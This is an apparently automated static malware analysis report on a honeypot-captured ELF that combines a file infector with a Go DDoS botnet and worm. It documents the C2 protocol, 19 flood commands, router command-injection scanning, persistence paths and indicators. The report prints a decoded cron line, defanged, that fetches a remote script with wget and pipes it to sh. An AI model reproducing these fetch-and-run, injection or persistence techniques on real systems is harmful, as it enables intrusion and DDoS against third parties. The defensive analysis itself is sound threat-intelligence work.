Honeypot capture

X86_64 ELF 64-bit LSB pie executable ddos-bot (7d7210719451)

C2 verifiedProtocol documented

A honeypot sensor network captured an x86-64 ELF of 6169144 bytes. Command and control is the channel an infected machine uses to reach its operator for instructions, and the static read recovered one endpoint from this file, 185[.]226[.]93[.]242 on TCP port 9111, along with all 19 tasking commands the implant accepts on that socket. Both directions of the channel are plaintext ASCII, so a defender holding a packet capture decodes it without a key. The beacon carries the victim’s device fingerprint, and any operator line carries the flood method, the third-party target, the port and the duration.

The file contains two unrelated pieces of malware. The first 0x20d7 bytes are an x86-64 prepending ELF file infector; everything after that offset is an AArch64 Go binary built for Android, carved out to unpacked.bin for analysis. The Go module is self-named Botnet, main package Botnet/Bot, (devel) build, read verbatim from .go.buildinfo. The Go stage matches no commodity family, because Mirai, Gafgyt, XorDDoS and Tsunami are written in C, use different command encodings, and target platforms other than the android/arm64 and Go net/http stack this binary runs on.

The Go stage spreads without user action: a goroutine spawned at process start generates random public IPv4 addresses and command-injects the routers it finds, independent of anything the operator sends. The profile records it as an autonomous worm, since the scan loop needs no operator command and one infected device can infect further routers on its own.

Sample identification

SHA-2567d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf
MD5ec838cf18ff0cbdb4592091e3f613d76
SHA-1184882f1b035e1f97b9ede7605340276d5c496d4
ssdeep49152:6i1lXOurh0Qx8ZmYFDeH/+wdVwXUSA6Li9kHyydW9kq114TmO5E1B0F:V1l+u9x8mYFD8+wvwXUSA6LiqbbE1B0F
Stage 1ELF 64-bit LSB PIE, x86-64, stripped, no section header; requires libc.so.6
Stage 2ELF 64-bit AArch64 Go binary, GOOS=android, statically linked
Size6169144 bytes

The submitted filename is identical to the SHA-256, so it carries no signal of its own. The ssdeep value above is a fuzzy hash that stays similar when a file is edited slightly.

The stage-1 infector

Stage 1 spreads by rewriting executables. It walks the current working directory, tests each entry for the ELF64 magic, searches each file with memmem for the marker Ym9uZ3JpcHo0amV6dXoK — base64 for bongripz4jezuz\n — skips the files that already carry it, and rewrites the rest as [0x20d7-byte viral stub][original file] (0x401460). It also infects /bin/ls explicitly (0x4012c2), outside the directory sweep. A defender can search ELF files for the same marker: its presence in a file means that file is already infected.

Stage 1 opens /proc/self/exe (0x400f2f) to read the appended host payload, drops it to disk, and unlinks it immediately (0x400f8e), so the running stage-2 process has no path on disk to find it by.

The CNC session on tcp/9111

The binary reaches its endpoint from one dial site. The host string (0x2d7b30) and the port 9111 (0x2601fd) are adjacent Go string headers in .data at 0x5dc440, joined by runtime.concatstring3 and passed to net.Dial("tcp", …) at 0x210918. That is the only dial in the binary, and a second decompiler backend agreed on it in the consensus round. the single recovered endpoint reads as a consequence of that one dial site. Port 9111 is non-standard for any registered protocol, and the profile records it under ATT&CK T1571.

The session dials, connects, arms a 120 s auto-reconnect at 0x2109a4, and splits the socket between two goroutines, a beacon writer on a 2 s time.Sleep (0x21648c) and a command reader over bufio.Scanner (0x210ab4). On disconnect it sleeps 5 s and re-dials. The beacon format string sits at 0x2657eb and is rendered by fmt.Sprintf at 0x21653c:

STATS|[cpu_count]|[cpu_pct]|[mem_a]|[mem_b]|[arch]\n

The two directions of the socket carry different formats. Each beacon reads /proc/stat and /proc/meminfo (0x212fe0, T1082) and reports a CPU-count global and the literal architecture tag arm64. Tasking arrives in the other direction as [command] [target] [[port]] [duration]\n, which strings.Fields splits and a switch(len(word)-3) at 0x210afc dispatches.

The net.Dial→conn.Write path carries no cipher, and crypto/tls is linked into the binary but is reached only from the TLS flood methods and net/http. The stage-1 stub does obfuscate its strings, with a monoalphabetic substitution alphabet (decoder sub_4015d0, tables at file offsets 0x2020 and 0x2080) that the config extractor reimplements.

Table: the 19 commands the dispatcher accepts, with the handler address in unpacked.bin (base 0x10000), the recorded field count and the Botnet/Methods symbol each one reaches. All 19 handler addresses were verified against .gopclntab.

CommandVirtual addressFieldsMethodCommandVirtual addressFieldsMethod
hex0x2096104HexFloodping0x20a8604PingFlood
ntp0x2098903NtpAmppriv70x20b1603Priv7Flood
ovh0x20a6104OVHFloodvoult0x2102704VoultAttack
pps0x20ab804PPSFloodppsraw0x20bc404PPSRawFlood
tcp0x20c5904TCPFloodbrowser0x204dc03BrowserFlood
udp0x20e4204UdpFloodtlsplus0x20d0703TLSPlusFlood
std0x20c3a04STDFloodhandshake0x2090304HandshakeFlood
tls0x20c6d03TLSFloodcloudflare0x2066703CloudflareFlood
fort0x2068d04FortAttacktlsplusbypass0x20dab03TLSPlusBypassFlood
game0x206f504GameFlood

The volumetric half (udp, hex, std, ovh, ntp, pps, ppsraw, ping, game, fort, voult, handshake, T1498) includes NTP amplification under ntp, and the ping, ppsraw, voult and handshake floods open raw sockets and spoof source addresses. The application-layer half (tcp, tls, tlsplus, tlsplusbypass, browser, cloudflare, priv7 over HTTP POST, T1499) forges browser headers, and the bypass variant draws on a proxy list.

Two gaps remain in the protocol read, and neither blocks decoding or emulation. The dispatcher silently drops every line it fails to recognise, so a keepalive or an auth banner from the operator’s console would leave no trace in the code, and static analysis cannot rule out commands beyond the 19 recovered. The global at 0x6114a8 that supplies the first STATS integer is read and compared < 4 inside Priv7Flood but never written, and its units are not pinned down. The dissector still replays 3 of 3 recorded test vectors, and both message types are documented field by field in protocol_spec.md.

The scanner goroutine

The scan loop at 0x213590 runs in a goroutine started at process start, unconditionally. It generates random public IPv4 addresses, fingerprints a Totolink/Nexxt-class router web interface, and injects a shell command into it: fetch the staging script with wget, chmod +x, execute (0x2718ec, T1059.004). The next stage comes from hxxp://%s/bins.sh on the scanned router itself (0x263c7c, T1105). Before injecting, it recovers or guesses the device’s credentials: getCredLeak (0x213cc0) and getAdminCredLeak (0x2141f0) read a leak endpoint, pass the response through main.Decode, and loginDevice posts the result to the setUserLogin topicurl. The credential list those two functions use was not decompiled inside the phase-8 budget.

The probe requests are hand-built, and each carries the fixed header User-Agent: Hello World (0x213b10). main.confCheck (0x213a70) fetches /config.dat from a scanned victim as part of the same fingerprint. The sample carries no host for /config.dat, for hxxp://%s/bins.sh or for proxy/tlsplusbypass.txt (0x2666a2), because each host slot is filled at runtime. The profile therefore records all three as runtime-supplied templates and not as endpoints.

Persistence in both stages

Stage 1 creates /etc/cron.hourly/0 with fopen(…,"w+"), chmods it 0o5777, and sets the ext2 immutable flag on it through FS_IOC_SETFLAGS (0x401117, T1053.003), so it cannot be deleted without chattr -i first. Its decoded contents, verbatim, with the URL defanged:

#!/bin/sh

 wget --quiet hxxp://cf0[.]pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1

The 92-byte URL ends with the cron file’s own path, /etc/cron.hourly/0.

Stage 2 installs persistence separately from stage 1. main.AutoStart (0x2129c0) probes /usr/bin/, /data/local/tmp/, /tmp/ and /var/run/ for writability with os.OpenFile(O_RDWR|O_CREAT|O_TRUNC, 0666), copies itself into the first that works with mode 0777, then appends launch lines to a second table of targets beginning with /etc/rc.local, a 13-byte entry, and /root/.bashrc (0x212bd0).

Table: ten host artifacts, split between the stage-1 infector and the stage-2 bot Each row is a path or literal read out of the sample, the stage that writes or searches for it, and the virtual address of the reference. None of these carries a verified flag from the consensus round.

ValueContextVirtual address
/etc/cron.hourly/0stage-1 hourly updater0x4010fc
/bin/lsstage-1 explicit infection target0x4012c2
/etc/rc.localstage-2 autostart launch line0x212bd0
/root/.bashrcstage-2 autostart launch line0x212bd0
/data/local/tmp/stage-2 self-copy directory0x2129c0
/var/run/stage-2 self-copy directory0x2129c0
/proc/self/exestage-1 reads its own image0x400f2f
Ym9uZ3JpcHo0amV6dXoKstage-1 infection marker0x4016a0
arm64fifth STATS field; also the dropped path /tmp/arm640x212f24
Hello Worldstage-2 scanner probe user agent0x213b10

The staging host cf0[.]pw is a live stage-1 indicator that the machine-generated artifacts miss. The pipeline judges endpoints against the analysis target, unpacked.bin, and this URL exists only in the stage-1 image sample.bin, so it stays out of iocs.csv, blocklist.txt and the Suricata rule. Running the extractor against sample.bin does emit it as a URL endpoint.

Reading the file without running it

An automated pipeline at Kinryu Labs did the work in Binary Ninja headless, with no individual analyst involved. The sample was loaded as data throughout, so no recovered endpoint was contacted or resolved. Strings and structure came from strings and rabin2, with every indicator anchored to a file offset and corroborated across both tools, then the executable sections were disassembled and decompiled.

The ELF section headers are stripped, which removes symbol names and defeats section-based tooling while the loadable segments still run. syscall.Listen at 0xb1e70 is named in the pclntab, but no function was built at that address. It is recorded as unresolved and left out of the channel inventory.

A byte sweep turned up 22 network indicators beyond the recovered profile, among them 1[.]1[.]1[.]1, 1[.]2[.]1[.]1, 1[.]2[.]2[.]1, 1[.]3[.]1[.]1, 119[.]0[.]0[.]0 and 120[.]0[.]0[.]0, and none of them entered the profile.

185[.]226[.]93[.]242 appears in one other analysed capture, so the same infrastructure serves more than this sample.

Nothing in this report is observed behaviour, so timing beyond what the code schedules, retry patterns and anything post-execution are outside what a static read can show.

A responder should block cf0[.]pw and 185[.]226[.]93[.]242, and decode captured sessions offline with c2_dissect.py.

Family
unclassified
First seen
September 27, 2026
Vector
Runs as a ddos-bot/worm; the entry vector is not established by static analysis
Format
6025 KB x86_64 ELF 64-bit LSB pie executable
VirusTotal
Not on VirusTotal
Tags
ddos-bot · elf · raw_tcp · scanner · worm · x86_64
Sample
By request. Email [email protected]

SHA-256

  • 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf as captured
  • 5daec9cfd348f477f1ce61c31d7fec2164304e8f4dce3959c23a44f57525bb40 unpacked payload

Analysis performed using an automatic malware analysis pipeline using Binary Ninja

← All captures